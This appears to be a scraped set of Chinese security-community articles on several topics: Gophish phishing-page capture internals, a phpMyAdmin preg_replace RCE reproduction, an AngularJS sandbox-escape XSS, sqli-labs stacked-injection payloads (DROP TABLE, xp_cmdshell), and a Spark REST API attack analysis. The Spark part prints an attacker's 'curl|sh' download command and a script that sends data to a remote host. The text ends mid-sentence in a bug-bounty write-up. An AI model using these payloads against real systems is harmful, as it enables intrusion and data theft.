部分的VPS或者ISP会默认封禁25出站端口，其目的在于防止大量发送垃圾邮件。例如某厂商的vps，其官方文档中有提到，对于某些服务器实例，将会封禁smtp出站端口，且其屏蔽SMTP的技术不是屏蔽25端口，而是只要是SMTP出站包都会被ban掉。可以向其官方提交工单，申请开放25出站端口，来解决此问题。
### **2\. 钓鱼页面的数据捕获问题**
利用gophish来clone制作钓鱼页面，仅仅通过Import难以实现完美克隆，可能无法满足钓鱼的功能需求，通常需要手动修正。
最为常见的问题就是： **无法捕获受害者在钓鱼页面提交的数据** 。
首先看一下`gophish`的源码中，对钓鱼页面部分的处理过程
在`Landing Page`功能部分，通过`Import`导入钓鱼页面后，其解析处理html页面代码如下：
// parseHTML parses the page HTML on save to handle the
// capturing (or lack thereof!) of credentials and passwords
func (p *Page) parseHTML() error {
d, err := goquery.NewDocumentFromReader(strings.NewReader(p.HTML))
if err != nil {
return err
}
forms := d.Find("form")
forms.Each(func(i int, f *goquery.Selection) {
// We always want the submitted events to be
// sent to our server
f.SetAttr("action", "")
if p.CaptureCredentials {
// If we don't want to capture passwords,
// find all the password fields and remove the "name" attribute.
if !p.CapturePasswords {
inputs := f.Find("input")
inputs.Each(func(j int, input *goquery.Selection) {
if t, _ := input.Attr("type"); strings.EqualFold(t, "password") {
input.RemoveAttr("name")
}
})
} else {
// If the user chooses to re-enable the capture passwords setting,
// we need to re-add the name attribute
inputs := f.Find("input")
inputs.Each(func(j int, input *goquery.Selection) {
if t, _ := input.Attr("type"); strings.EqualFold(t, "password") {
input.SetAttr("name", "password")
}
})
}
} else {
// Otherwise, remove the name from all
// inputs.
inputFields := f.Find("input")
inputFields.Each(func(j int, input *goquery.Selection) {
input.RemoveAttr("name")
})
}
})
p.HTML, err = d.Html()
return err
}
// Validate ensures that a page contains the appropriate details
func (p *Page) Validate() error {
if p.Name == "" {
return ErrPageNameNotSpecified
}
// If the user specifies to capture passwords,
// we automatically capture credentials
if p.CapturePasswords && !p.CaptureCredentials {
p.CaptureCredentials = true
}
if err := ValidateTemplate(p.HTML); err != nil {
return err
}
if err := ValidateTemplate(p.RedirectURL); err != nil {
return err
}
return p.parseHTML()
}
// PostPage creates a new page in the database.
func PostPage(p *Page) error {
err := p.Validate()
if err != nil {
log.Error(err)
return err
}
// Insert into the DB
err = db.Save(p).Error
if err != nil {
log.Error(err)
}
return err
}
其整体流程是，先`Validate`验证各个字段的详细情况，然后`parseHTML`解析目标页面，并将结果`db.Save(p)`保存到数据库中。
sqlite数据库中的记录如下：
需要注意的是，此时存入数据库的html页面，是经过`parseHTML()`函数处理的页面。例如`f.SetAttr("action",
"")`代码会将form表单的`action`属性置空
上图即为处理前后的html源码对比，可以观察到`action=""`。即表示，当受害者在钓鱼页面`post`提交数据，把数据提交到当前钓鱼页面，而非真实的登录页面，否则钓鱼后台将无法捕获到用户提交的数据。
当受害者在钓鱼页面输入了身份信息并提交后，其后台处理代码主流程如下：
// PhishHandler handles incoming client connections and registers the associated actions performed
// (such as clicked link, etc.)
func (ps *PhishingServer) PhishHandler(w http.ResponseWriter, r *http.Request) {
r, err := setupContext(r)
if err != nil {
// Log the error if it wasn't something we can safely ignore
if err != ErrInvalidRequest && err != ErrCampaignComplete {
log.Error(err)
}
http.NotFound(w, r)
return
}
w.Header().Set("X-Server", config.ServerName) // Useful for checking if this is a GoPhish server (e.g. for campaign reporting plugins)
var ptx models.PhishingTemplateContext
// Check for a preview
if preview, ok := ctx.Get(r, "result").(models.EmailRequest); ok {
ptx, err = models.NewPhishingTemplateContext(&preview, preview.BaseRecipient, preview.RId)
if err != nil {
log.Error(err)
http.NotFound(w, r)
return
}
p, err := models.GetPage(preview.PageId, preview.UserId)
if err != nil {
log.Error(err)
http.NotFound(w, r)
return
}
renderPhishResponse(w, r, ptx, p)
return
}
rs := ctx.Get(r, "result").(models.Result)
rid := ctx.Get(r, "rid").(string)
c := ctx.Get(r, "campaign").(models.Campaign)
d := ctx.Get(r, "details").(models.EventDetails)
// Check for a transparency request
if strings.HasSuffix(rid, TransparencySuffix) {
ps.TransparencyHandler(w, r)
return
}
p, err := models.GetPage(c.PageId, c.UserId)
if err != nil {
log.Error(err)
http.NotFound(w, r)
return
}
switch {
case r.Method == "GET":
err = rs.HandleClickedLink(d)
if err != nil {
log.Error(err)
}
case r.Method == "POST":
err = rs.HandleFormSubmit(d)
if err != nil {
log.Error(err)
}
}
ptx, err = models.NewPhishingTemplateContext(&c, rs.BaseRecipient, rs.RId)
if err != nil {
log.Error(err)
http.NotFound(w, r)
}
renderPhishResponse(w, r, ptx, p)
}
// renderPhishResponse handles rendering the correct response to the phishing
// connection. This usually involves writing out the page HTML or redirecting
// the user to the correct URL.
func renderPhishResponse(w http.ResponseWriter, r *http.Request, ptx models.PhishingTemplateContext, p models.Page) {
// If the request was a form submit and a redirect URL was specified, we
// should send the user to that URL
if r.Method == "POST" {
if p.RedirectURL != "" {
redirectURL, err := models.ExecuteTemplate(p.RedirectURL, ptx)
if err != nil {
log.Error(err)
http.NotFound(w, r)
return
}
http.Redirect(w, r, redirectURL, http.StatusFound)
return
}
}
// Otherwise, we just need to write out the templated HTML
html, err := models.ExecuteTemplate(p.HTML, ptx)
if err != nil {
log.Error(err)
http.NotFound(w, r)
return
}
w.Write([]byte(html))
}
// HandleFormSubmit updates a Result in the case where the recipient submitted
// credentials to the form on a Landing Page.
func (r *Result) HandleFormSubmit(details EventDetails) error {
event, err := r.createEvent(EventDataSubmit, details)
if err != nil {
return err
}
r.Status = EventDataSubmit
r.ModifiedDate = event.Time
return db.Save(r).Error
}
func (r *Result) createEvent(status string, details interface{}) (*Event, error) {
e := &Event{Email: r.Email, Message: status}
if details != nil {
dj, err := json.Marshal(details)
if err != nil {
return nil, err
}
e.Details = string(dj)
}
AddEvent(e, r.CampaignId)
return e, nil
}
// AddEvent creates a new campaign event in the database
func AddEvent(e *Event, campaignID int64) error {
e.CampaignId = campaignID
e.Time = time.Now().UTC()
whs, err := GetActiveWebhooks()
if err == nil {
whEndPoints := []webhook.EndPoint{}
for _, wh := range whs {
whEndPoints = append(whEndPoints, webhook.EndPoint{
URL: wh.URL,
Secret: wh.Secret,
})
}
webhook.SendAll(whEndPoints, e)
} else {
log.Errorf("error getting active webhooks: %v", err)
}
return db.Save(e).Error
}
其主要流程是是，通过`HandleFormSubmit()->createEvent()->AddEvent()`将用户的相关数据存入数据库中的event，然后`renderPhishResponse()->http.Redirect(w,
r, redirectURL, http.StatusFound)`将重定向页面（通常是真实的登录页面）返回给受害者。
这里想要说明的是，红队人员通过`Import`导入钓鱼页面后，`parseHTML()`函数解析钓鱼页面时，其对目标钓鱼页面有一定的规则、格式上的要求。否则，会导致无法捕获受害者提交的表单数据，或数据不全。
参考[此篇博文](https://blog.csdn.net/qq_42939527/article/details/107485116)中的说明：
> 比如：导入的前端源码，必须存在严格存在`<form method="post" ···><input name="aaa" ··· /> ···
> <input type="submit" ··· /></form>`结构，即表单（POST方式）—
> Input标签（具有name属性）Input标签（submit类型）— 表单闭合的结构。
>
> 再如：对于需要被捕获的表单数据，除了input标签需要被包含在`<form>`中，还需满足该`<input>`存在name属性。例如`<input
> name="username">`,否则会因为没有字段名而导致value被忽略。
仅以此文作技术交流，恪守职业操守，严禁非法之用。 | 社区文章 |
# 0x01 漏洞简介
Phpmyadmin是一个以php为基础，以Web-Base方式架构在网站主机上的MySQL的数据库管理工具，让管理者可以使用Web接口管理MySQL数据库。借由次Web接口可以成为一个简单方式输入SQL语法的较佳途径。其优势就是可以通过Web界面来远程管理方便建立、修改、删除数据库及资料表
# 0x02 漏洞概述（就是漏洞出自于哪里）
Php中的 preg_replace 函数 该函数是执行一个正则表达式并实现字符串的搜索与替换。
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int
$limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分， 以 replacement 进行替换。
参数说明：
$pattern: 要搜索的模式，可以是字符串或一个字符串数组。反斜杠定界符尽量不要使用，而是使用 # 或者 ~
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选，对于每个模式用于每个 subject 字符串的最大可替换次数。默认是-1（无限制）。
$count: 可选，为替换执行的次数。
该函数的返回值：当$subject为一数组的情况下返回一个数组，其余情况返回字符串。
匹配成功则将替换后的subject被返回，不成功则返回没有改变的subject，发生语法错误等，返回NULL。
正则表达式修正符：
因为`$pattern`中指定的是要搜索的模式字符串，一般使用的是正则表达式，正则表达式中
存在修正符，像/i 就是指定取消大小写敏感，等。具体可参考：
但是其中一个修正符 “/e”;在替换字符串中对逆向引用作正常的替换，将其作为 PHP 代码求值，并用其结果来替换所搜索的字符串。
php代码执行：
可以看到，使用/e修正符的同时在 Subject 中成功匹配，replacement部分被当作php 代码执行。
这个函数是CTF代码审计中的常客；
# 0x03 影响版本
Phpmyadmin -> 4.0.10.16之前的4.0.x版本
4.4.15.7 之前的 4.4.x版本
4.6.3之前的 4.6.x版本
Php版本： 4.3.0 ~5.4.6
Php 5.0 版本以上的将 preg_replace 的 /e修饰符给废弃掉了
# 0x04 环境搭建
虚拟机环境 ：
IP：192.168.234.157
使用的是Docker + Docker-compose 开源项目 vulhub
这里使用的是 phpmyadmin 的 4.4.15.6版本
端口 8080
# 0x05 漏洞复现
1.使用前提是登陆的情况下
2.复现
漏洞poc ： exploit-DB
使用exploit 上面提供的 poc 进行操作
命令 python 40185.py -u root -p root -d test <http://192.168.234.157:8080>
其中可以使用 -c 指定PHP 代码执行（这里未指定使用代码中默认的system(‘uname -a’)）
-d 指定数据库名
-t 指定用户所创建的表名（这里未指定使用代码中默认的）
结果显示:result的那一行
# 0x06 漏洞触发点
查询资料：
首先找到preg_replace()函数的调用位置：
发现是在 /libraries/TableSearch.class.php 文件中，
可以看到 _getRegplaceRows()函数中
将find参数传入，并且将find参数作为preg_replace()函数的第一个参数使用；我们既然要构造payload 就需要将这三个参数 find
、replaceWith、row[0]全部溯源查看；
首先对_getRegplaceRows函数进行溯源：
可以看出在同一文件下_getRegplaceRows 被 getReplacePrevies
这个类的方法所调用，并且find参数与replacement参数都是经过该方法所传递的，在对这个函数进行溯源；
发现getRegplacePreview在 tbl_find_replace.php中使用，并且 find 与
replaceWith参数经POST方法进行传递。至此参数与函数溯源完毕。
前端查看该界面是phpmyadmin所提供的查找并替换数据表的功能/该功能时针对某一数据库中的数据表进行的查询功能：如图所示
其中查找的参数就是 find 替换为 的参数就是replaceWith；
现在针对这两个的参数都寻找到了，就剩下 第三个参数了，继续寻找。
第三个参数为 row[0]首先看到这个参数为一数组，猜想是由SQL语句查询并返回的第一个值。
回溯result参数
这里涉及到一个DBI接口链接数据库的问题，先不去考察它。针对这个漏洞只需要定位使用到的sql查询语句并解析值就可以了。
回溯$Sql_query
SQL语句可理解为
Select $columnname ,1,cont(*) from database.table_name where $columnname rLike
‘$find’ collate $charset_bin Group BY $columnname order by $column ASC;
并将这个查询后的值作为键值对，把键值对的第一个值给了 preg_replace()函数的第三个参数。
该类的一个析构方法，在创建这个对象的同时执行该方法；
接着回溯，可以看到漏洞触发的 tbl_find_replace.php 中引用了这个 PMA_TableSearch类
创建了 $table_search 对象;如图：
在这里将 db table 参数 赋值。
回溯这两个参数发现在 /libraries/common.inc.php 中存在定义
全局寻找该函数可以发现通过REQUEST方法来接收变量并将其设置为全局变量。
这两个参数分别为 数据可和数据表，经分析发现，该漏洞触发点，是在一个数据库表中操作而实现的，所以说，exploit-db
中所提供的POC是先创建数据表与列名，然后在进行参数的传递，这里可以直接将这个db与table 直接作为参数所提交：如图：
创建的数据库为test 数据表为"prgpwn" 该表中的first列 的值为“0/e” ，该值也就是通过$sql_qury sql语句中查询得到的
$row[0]
其中find传递的参数中包含 %00 将后面的反斜杠给截断。
最终执行时效果类似于：
# 0x07 修复方式
及时更新版本。
个人感觉这个比一些JAVA的反序列化容易太多了...
小白第一次浮现漏洞，希望多批评指教
参考自：<https://www.exploit-db.com/exploits/40185>
<https://www.jianshu.com/p/8e44cb1b5b5b>
<https://www.cnblogs.com/shudonghe/archive/2013/02/28/2937831.html>
<https://www.cnblogs.com/angly/p/3157736.html>
<http://www.hackdig.com/08/hack-38691.htm>
<https://www.phpmyadmin.net/security/PMASA-2016-27/> | 社区文章 |
# AngularJS－沙箱逃逸和XSS
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://spring.io/blog/2016/01/28/angularjs-escaping-the-expression-sandbox-for-xss>
译文仅供参考，具体内容表达以及含义原文为准。
**更新信息：这篇文章是对《**[
**AngularJS客户端模版注入**](http://bobao.360.cn/learning/detail/2597.html)
**》一文的总结和归纳。之前所发表的文章引用了很多文献，而读者很难去搜集到这些相对零散的信息。所以我们将在这篇文章中给大家介绍这一漏洞的具体利用和修复方法。**
**介绍**
[AngularJS](https://angularjs.org/)诞生于2009年，该框架由Misko Hevery
等人创建，之后被谷歌公司所收购。它是一款非常优秀的前端JS框架，目前已经被用于谷歌的多款产品当中。AngularJS有着诸多特性，最为核心的是：MVVM、模块化、自动化双向数据绑定、语义化标签、依赖注入等等。AngularJS是为了克服HTML在构建应用上的不足而设计的。HTML是一门很好的为静态文本展示设计的声明式语言，但要构建WEB应用的话它就显得乏力了。所以AngularJS使用了不同的方法，以尝试去补足HTML本身在构建应用方面的缺陷。AngularJS正在发展成为WEB应用中的一种端对端的解决方案，这意味着它不只是你的WEB应用中的一个小部分，还是一个完整的端对端的解决方案。
这款当前非常流行的JavaScript框架允许开发人员在双花括号内嵌入[程序语句](https://code.angularjs.org/1.4.9/docs/guide/expression)。[比如说](https://code.angularjs.org/1.4.9/docs/guide/expression#example)，表达式1+2={{1+2}}将会被Angular框架解析为1+2=3。
这也就意味着，用户可以在其输入的数据中嵌入双花括号，而当服务器对这类输入数据进行响应处理时，用户就可以利用这种Angular表达式来对目标主机进行XSS（跨站脚本攻击）攻击了。
服务器端的用户输入数据
现在，我们对一个使用了HTML编码来处理用户输入数据的页面进行分析。在我们下面所给出的例子中，我们使用了Thymeleaf模版来进行HTML编码，然后在页面的div标签中输出了属性username的信息。
<html xmlns:th="http://www.thymeleaf.org">
<head>
<title>AngularJS - Escaping the Expression Sandbox</title>
</head>
<body>
<div th:text="${username}"></div>
</body>
</html>
如果属性username的值为<script>('Rob')</script>，那么页面的输出信息应该与下面所给出的代码类似：
<html xmlns:th="http://www.thymeleaf.org">
<head>
<title>AngularJS - Escaping the Expression Sandbox</title>
</head>
<body>
<div><script>('Rob')</script></div>
</body>
</html>
也许你已经注意到了，页面的输出信息是经过HTML编码处理的。这也就意味着，就目前的情况而言，我们的程序是可以抵御跨站脚本攻击（XSS）的。
**引入AngularJS**
没错，从目前的情况来看，我们的程序的确可以抵御跨站脚本攻击（XSS）。那么接下来，我们就为程序引入AngularJS，看看引入这款框架之后程序会发生什么变化。
<html xmlns:th="http://www.thymeleaf.org">
<head>
<title>Angular Expression - safe</title>
<script src="angular-1.4.8.min.js"></script>
</head>
<body ng-app>
<div th:text="${username}"></div>
</body>
</html>
你将看到以下两点变化：
1\. 我们将在页面中引入angular-1.4.8.min.js；
2\. 我们将在body标签中添加属性ng-app；
现在，攻击者就可以对我们的程序进行跨站脚本攻击（XSS）了，但是具体的实现方法是什么呢？最有用的线索应该是Angular表达式了，而这一部分的内容我们之前就已经讲解过了，有疑问的同学可以再我们之前所发表的文章－《[AngularJS客户端模版注入](http://bobao.360.cn/learning/detail/2597.html)》中找到关于Angular表达式的信息。我们将属性username更改为1+2={{1+2}}之后会发生什么呢？修改后的代码如下：
<html>
<head>
<title>Angular Expression - safe</title>
<script src="angular-1.4.8.min.js"></script>
</head>
<body ng-app="">
<div>1+2={{1+2}}</div>
</body>
</html>
Angular框架将会更新DOM（Document Object
Model，简称DOM，即文档对象模型。DOM是W3C组织推荐的处理可扩展标志语言的标准编程接口），解析之后的代码如下：
<html>
<head>
<title>Angular Expression - safe</title>
<script src="angular-1.4.8.min.js"></script>
</head>
<body ng-app="">
<div>1+2=3</div>
</body>
</html>
在得到了上面的处理结果之后，我们打算将属性username更改为{{('Rob')}}来看看会发生什么，但是Angular的[表达式沙箱](https://code.angularjs.org/1.4.9/docs/guide/security#expression-sandboxing)会阻止这种形式的程序语句执行。就目前的情况看来，也许你会认为我们现在仍然是安全的。但是，尽管Angular在其技术文档中提到了这一部分的安全保护机制，但是表达式沙箱并不是用来提供安全保障的。
更具体一点来说，Angular在其技术文档中提到了下列信息，其中包含[客户端模版和服务器端模版的相关信息](https://code.angularjs.org/1.4.9/docs/guide/security#mixing-client-side-and-server-side-templates)：
“一般而言，我们不推荐开发人员使用这一功能，因为它有可能给网站和服务器带来跨站脚本攻击的风险。”
在了解了这些信息之后，我们认为如果你允许服务器端模版对用户的输入数据进行解析处理，那么你的web程序将有可能受到跨站脚本攻击。现在，让我们来看一个更加具体的例子。
**表达式沙箱的逃逸技术**
如果我们的有效载荷处于Angular的表达式沙箱之中，我们怎么才能利用其中的XSS漏洞呢？
如果我们将username属性改成下面这样，会发生什么呢？
{{
'a'.constructor.prototype.charAt=[].join;
eval('x=1) ) );(1)//');
}}
在重写了Angular的原生函数“charAt”之后，我们就可以绕过Angular的表达式沙箱，而且还能够执行(1)。大家可以在我们之前所发表的《[AngularJS客户端模版注入](http://bobao.360.cn/learning/detail/2597.html)》一文中获取关于这一部分的详细内容。
请注意：这种攻击方法针对的是谷歌的Chrome浏览器和AngularJS 1.4.8。目前我们还没有发现针对其他浏览器的有效攻击方式。
**总结**
如果你的服务器能够对用户输入Angular模版中的信息进行响应处理，那么你将有可能受到XSS攻击。简而言之，不要在服务器端响应和处理用户的输入数据。你可以点击下面的地址来获取更多的示例。
**《AngularJS客户端模版注入》相关文章是:[
http://bobao.360.cn/learning/detail/2597.html](http://bobao.360.cn/learning/detail/2597.html)**
[rwinch/angularjs-escaping-expression-sandbox](https://github.com/rwinch/angularjs-escaping-expression-sandbox) | 社区文章 |
本文是 mysql 注入天书连载第三篇
第一篇地址：<https://xianzhi.aliyun.com/forum/read/314.html>
第二篇地址：<https://xianzhi.aliyun.com/forum/read/328.html>
[hr]
第三部分/page-3 Stacked injection
Background-8 stacked injection
Stacked
injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句（多条）一起执行。而在真实的运用中也是这样的，我们知道在mysql中，主要是命令行中，每一条语句结尾加
; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。
0x01 原理介绍
在SQL中，分号（;）是用来表示一条sql语句的结束。试想一下我们在 ;
结束一个sql语句后继续构造下一条语句，会不会一起执行？因此这个想法也就造就了堆叠注入。而union
injection（联合注入）也是将两条语句合并在一起，两者之间有什么区别么？区别就在于union 或者union
all执行的语句类型是有限的，可以用来执行查询语句，而堆叠注入可以执行的是任意的语句。
例如以下这个例子。
文本框: 用户输入：
1; DELETE FROM products
服务器端生成的sql语句为：（因未对输入的参数进行过滤）
Select * from products where productid=1;DELETE FROM products
当执行查询后，第一条显示查询信息，第二条则将整个表进行删除。
0x02 堆叠注入的局限性
堆叠注入的局限性在于并不是每一个环境下都可以执行，可能受到API或者数据库引擎不支持的限制，当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
Ps：此图是从原文中截取过来的，因为我个人的测试环境是php+mysql，是可以执行的，此处对于mysql/php存在质疑。但个人估计原文作者可能与我的版本的不同的原因。
虽然我们前面提到了堆叠查询可以执行任意的sql语句，但是这种注入方式并不是十分的完美的。在我们的web系统中，因为代码通常只返回一个查询结果，因此，堆叠注入第二个语句产生错误或者结果只能被忽略，我们在前端界面是无法看到返回结果的。
因此，在读取数据时，我们建议使用union（联合）注入。同时在使用堆叠注入之前，我们也是需要知道一些数据库相关信息的，例如表名，列名等信息。
0x03 各个数据库实例介绍
本节我们从常用数据库角度出发，介绍几个类型的数据库的相关用法。数据库的基本操作，增删查改。以下列出数据库相关堆叠注入的基本操作。
Mysql数据库
（1）新建一个表 select * from users where id=1;create table test like users;
执行成功，我们再去看一下是否新建成功表。
（2）删除上面新建的test表select * from users where id=1;drop table test;
（3）查询数据select * from users where id=1;select 1,2,3;
加载文件 select * from users where id=1;select load_file('c:/tmpupbbn.php');
（4）修改数据select * from users where id=1;insert into users(id,username,password)
values('100','new','new');
Sql server数据库
(1)增加数据表select * from test;create table sc3(ss CHAR(8));
(2)删除数据表select * from test;drop table sc3;
(3)查询数据select 1,2,3;select * from test;
(4)修改数据select * from test;update test set name='test' where id=3;
(5)sqlserver中最为重要的存储过程的执行
select * from test where id=1;exec master..xp_cmdshell 'ipconfig'
Oracle数据库
上面的介绍中我们已经提及，oracle不能使用堆叠注入，可以从图中看到，当有两条语句在同一行时，直接报错。无效字符。后面的就不往下继续尝试了。
Postgresql数据库
（1）新建一个表 select * from user_test;create table user_data(id DATE);
可以看到user_data表已经建好。
（2）删除上面新建的user_data表select * from user_test;delete from user_data;
(3)查询数据select * from user_test;select 1,2,3;
(4)修改数据 select * from user_test;update user_test set name='modify' where
name='张三';
Less-38
学习了关于stacked injection的相关知识，我们在本关可以得到直接的运用。
在执行select时的sql语句为：SELECT * FROM users WHERE id='$id' LIMIT 0,1
可以直接构造如下的payload：
<http://127.0.0.1/sqli-labs/Less-38/index.php?id=1%27;insert%20into%20users(id,username,password)%20values%20(%2738%27,%27less38%27,%27hello%27)--+>
再看数据表中的内容：可以看到less38已经添加。
Less-39
和less-38的区别在于sql语句的不一样：SELECT * FROM users WHERE id=$id LIMIT 0,1
也就是数字型注入，我们可以构造以下的payload：
<http://127.0.0.1/sqli-labs/Less-39/index.php?id=1;insert%20into%20users(id,username,password)%20values%20(%2739%27,%27less39%27,%27hello%27)--+>
通过数据表中可以看到添加的less-39项。
Less-40
本关的sql语句为SELECT * FROM users WHERE id=('$id') LIMIT 0,1
我们根据sql语句构造以下的payload：
<http://127.0.0.1/sqli-labs/Less-40/index.php?id=1%27);%20insert%20into%20users(id,username,password)%20values%20(%27109%27,%27hello%27,%27hello%27)%23>
Less-41
此处与less-39是一致的，区别在于41错误不回显。所以我们称之为盲注。
Payload：
<http://192.168.11.189/sqli-labs/Less-41/index.php?id=1;%20insert%20into%20users(id,username,password)%20values%20(%27110%27,%27less41%27,%27hello%27)%23>
Less-42
Update更新数据后，经过mysql_real_escape_string()处理后的数据，存入到数据库当中后不会发生变化。在select调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入，这关和二次注入的思路是不一样的。
本关从login.php源代码中分析可知：
Password变量在post过程中，没有通过mysql_real_escape_string()函数的处理。因此在登录的时候密码选项我们可以进行attack。
登录用户名随意
密码登录用以下的方式c';drop table me# （删除me 表）
c';create table me like users# （创建一个me 的表）
下面这张图是我们没有登录时数据库当中存在的表
此处登录username:admin
Password:c';create table less42 like users#
原sql语句为
$sql = "SELECT _FROM users WHERE username='$username' and
password='$password'";
登录时构造的sql语句为
SELECT _ FROM users WHERE username='admin' and password='c’;create table
less42 like users#
利用stacked injection，我们成功执行创建数据表less42的语句。
从下图可以看出show tables后已经成功创建less42表。
利用c';drop table me#作为登录密码，删除该表。
同样的利用此方式可以更新和插入数据项，这里就不进行演示了。
Less-43
本关与42关的原理基本一致，我们还是定位在login.php中的password。看一下sql语句为:
$sql = "SELECT * FROM users WHERE username=('$username') and
password=('$password')";
登录：username：admin
Password：c');create table less43 like users#
可以看到在tables中已经出现了less-43表。
其他的操作这里就不进行演示了。
Less-44
本关是基于盲注的，这里盲注主要是要没有报错信息，所以要采用盲注。这关与42关的区别就在于没有报错信息，同时，我们使用同样方式的payload：
登录 username:admin
Password:a';insert into users(id,username,password) values
('144','less44','hello')#
可以看到添加了less44这一项数据。
Less-45
同样的，45关与43关的payload是一样的，只不过45关依旧没有报错信息。
登录 username：admin
Password：c');create table less45 like users#
创建less45的数据表，可从下图看到。 | 社区文章 |
subDomainsBrute 1.0.3
A simple and fast sub domain brute tool for pentesters. It can rearch as fast
as 1000 DNS queries per second.
这个脚本的主要目标是发现其他工具无法探测到的域名, 如Google，aizhan，fofa。高频扫描每秒DNS请求数可超过1000次。
Usage
Usage: subDomainsBrute.py [options] target.com
Options:
\--version show program's version number and exit-h,
\--help show this help message and exit
\--full Full scan, a large NAMES FILE will be used during the scan
-i, --ignore-intranetIgnore domains pointed to private IPs-o OUTPUT,
\--output=OUTPUTOutput file name. default is {target}.txt
参数 -t 已经去掉了，想要设定并发线程的数量，请直接修改dict\dns_servers.txt文件中的行数即可。
传送门：<https://github.com/lijiejie/subDomainsBrute> | 社区文章 |
# 摘要
2018年7月7日，阿里云安全首次捕获Spark REST
API的未授权RCE漏洞进行攻击的真实样本。7月9号起，阿里云平台已能默认防御此漏洞的大规模利用。
这是首次在真实攻击中发现使用“暗网”来传播恶意后门的样本，预计未来这一趋势会逐步扩大。目前全网约5000台
Spark服务器受此漏洞影响。阿里云安全监控到该类型的攻击还处于小范围尝试阶段，需要谨防后续的规模性爆发。建议受影响客户参考章节三的修复建议进行修复。
# 一、漏洞详情说明
Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎，是UC Berkeley AMP
lab(加州大学伯克利分校的AMP实验室)所开源的类Hadoop
MapReduce的通用并行框架。为了让使用者能够方便的控制系统进行计算和查看任务结果，Spark也提供了 WEB UI图形化界面和相应的 REST
API来方便用户操作。
Spark作为大数据时代的”计算引擎”，一旦被攻破，企业的核心数据资产、计算能力、用户敏感数据都将被攻击者窃取；更进一步的，由于Spark自身的分布式特性，一个攻击点的攻破可能导致整个集群的沦陷。Spark权限设置不当，可能导致攻击者无需认证即可通过该
REST API来操作Spark创建任务、删除任务、查看任务结果等，从而最终获得执行任意指令的能力。
我们还原了攻击者的攻击步骤：
1. 攻击者通过web扫描的方式发现了一台Spark webui服务
2. 构造攻击指令，并通过6066端口发送到该服务器的REST API
POST /v1/submissions/create
host:xxxx.xxx.xx:6066
{ "action": "CreateSubmissionRequest", "clientSparkVersion": "2.1.0", "appArgs": [ "curl x.x.x.x/y.sh|sh" ], "appResource": "https://xxxx.onion.plus/SimpleApp.jar", "environmentVariables": { "SPARK_ENV_LOADED": "1" }, "mainClass": "SimpleApp", "sparkProperties": { "spark.jars": "https://xxxxxxxx.onion.plus/SimpleApp.jar", "spark.driver.supervise": "false", "spark.app.name": "SimpleApp", "spark.eventLog.enabled": "false", "spark.submit.deployMode": "cluster", "spark.master": "spark://x.x.x.x:6066" } }
该攻击payload指示服务器远程下载<https://xxxxxxxx.onion.plus/SimpleApp.jar>
，并执行攻击者指定的任意方法，该攻击者还通过洋葱网络来隐藏自己的相关信息。
3.对该 jar 包进行逆向分析，该 jar 包即是一个简单的执行命令的后门，执行 jar
包时，Spark服务器将会从洋葱网络中下载一段shell脚本并执行。
4.check该脚本如下：
#!/bin/bash
ps ax --sort=-pcpu > /tmp/tmp.txt
curl -F "file=@/tmp/tmp.txt" http://x.x.x.x/re.php
rm -rf /tmp/tmp.txt
该脚本只是简单的将性能信息打印并回传，暂未进行进一步的攻击。
# 二、漏洞影响与变化态势
目前全网监控，开放了8080端口暴露在公网的Spark机器共有5000台左右，黑客可批量接管其中存在权限问题的机器。
在此之前，阿里云安全团队曾针对分布式计算系统相关的漏洞进行过预警
(详见：黑客利用Hadoop
Yarn资源管理系统未授权访问漏洞进行攻击<https://www.toutiao.com/i6552678121449980423/> )
这两个漏洞和利用方法非常相似，这也佐证了之前的预判。
随着加密货币经济的进一步繁荣，具有强大算力，但是较弱安全能力的分布式应用将面临更多的漏洞利用和黑客攻击。
由于Hadoop Yarn未授权漏洞在全网已经成为了黑客挖矿的一种重要手法，我们有理由相信Spark REST API漏洞也将很快被黑产利用。
# 三、安全专家建议
* 建议通过iptables或者安全组配置访问策略，限制对8088、8081、7707、6606等端口的访问；并且如无必要，不要将接口开放在公网，改为本地或者内网调用；
* 建议使用Spark的yarn控制模式，并且开启HTTP Kerberos对WEB UI进行访问控制；如采用Spark standalone模式，需要自行实现访问控制的jar包，并设置spark.ui.filters对WEB UI进行访问控制，
（详见:<http://spark.apache.org/docs/latest/configuration.html#security）> | 社区文章 |
原文来自 <https://4lemon.ru/2017-01-26_make_money_button.html>
翻译：聂心明
我每次都会测试与钱有关的系统，我对它感兴趣的原因不仅仅是因为能发现诸如注入漏洞，xss漏洞，IDOR漏洞等这些OWASP
TOP-10之中包含的漏洞，还能发现一些基于金融的逻辑漏洞还有基于数学的漏洞。这里有一份常见漏洞类型列表：
* 资源竞争
* 从一个RUB账户转到另一个USD账户的汇率问题
* 整数问题
* 还有很多很多其他的问题
但是，在理论上有些事情是行的通的：
注意！在理论上可以利用条件竞争来绕过每日的转账限制
酷………这非常有趣
肯定还有其他漏洞，那时我会一步步的解释发生了什么，怎么发生的，为什么会发生，并且还要展示其结果。
今天我给大家展示一个真实的案例：
在2016年9月底我收到一封邮件
_hi 黑客_
_我们尽可能的通知每一个为itBit交易中心工作的人，我们的漏洞赏金流程发生了一些变化。我们将提高每个漏洞的赏金。（$100-$2000+)如果这段时间你没有测试过交易系统的话，那么我们欢迎你回归，并且重新看看我们的新系统，希望你也能挖到新漏洞_
提高赏金？太好了！
你很久以前测试过这个系统吗？对的
这次我们继续搞
这个应用允许用户创建多个钱包。这个功能非常有用：可以用在汽车上，公寓里和每一天的花销上。
前期准备：
* 攻击者有两个账户/钱包
* 至少其中一个有钱
开始时账户金额：
_account1 XBT - 100000.00000006_
_account2 XBT - 0_
老实的说，这里确实有一些漏洞，只是这个漏洞存在于测试环境中。这个漏洞已经在十月中旬修复了。现在两个测试帐户已经准备好了，开始我们的表演吧。
测试从帐户1转0.00000001到帐户2：
_account1 XBT - 100000.00000005_
_account2 XBT - 0.00000001_
# 见证奇迹的时刻
从帐户1转0.000000005（这个金额小于0.00000001）到帐户2
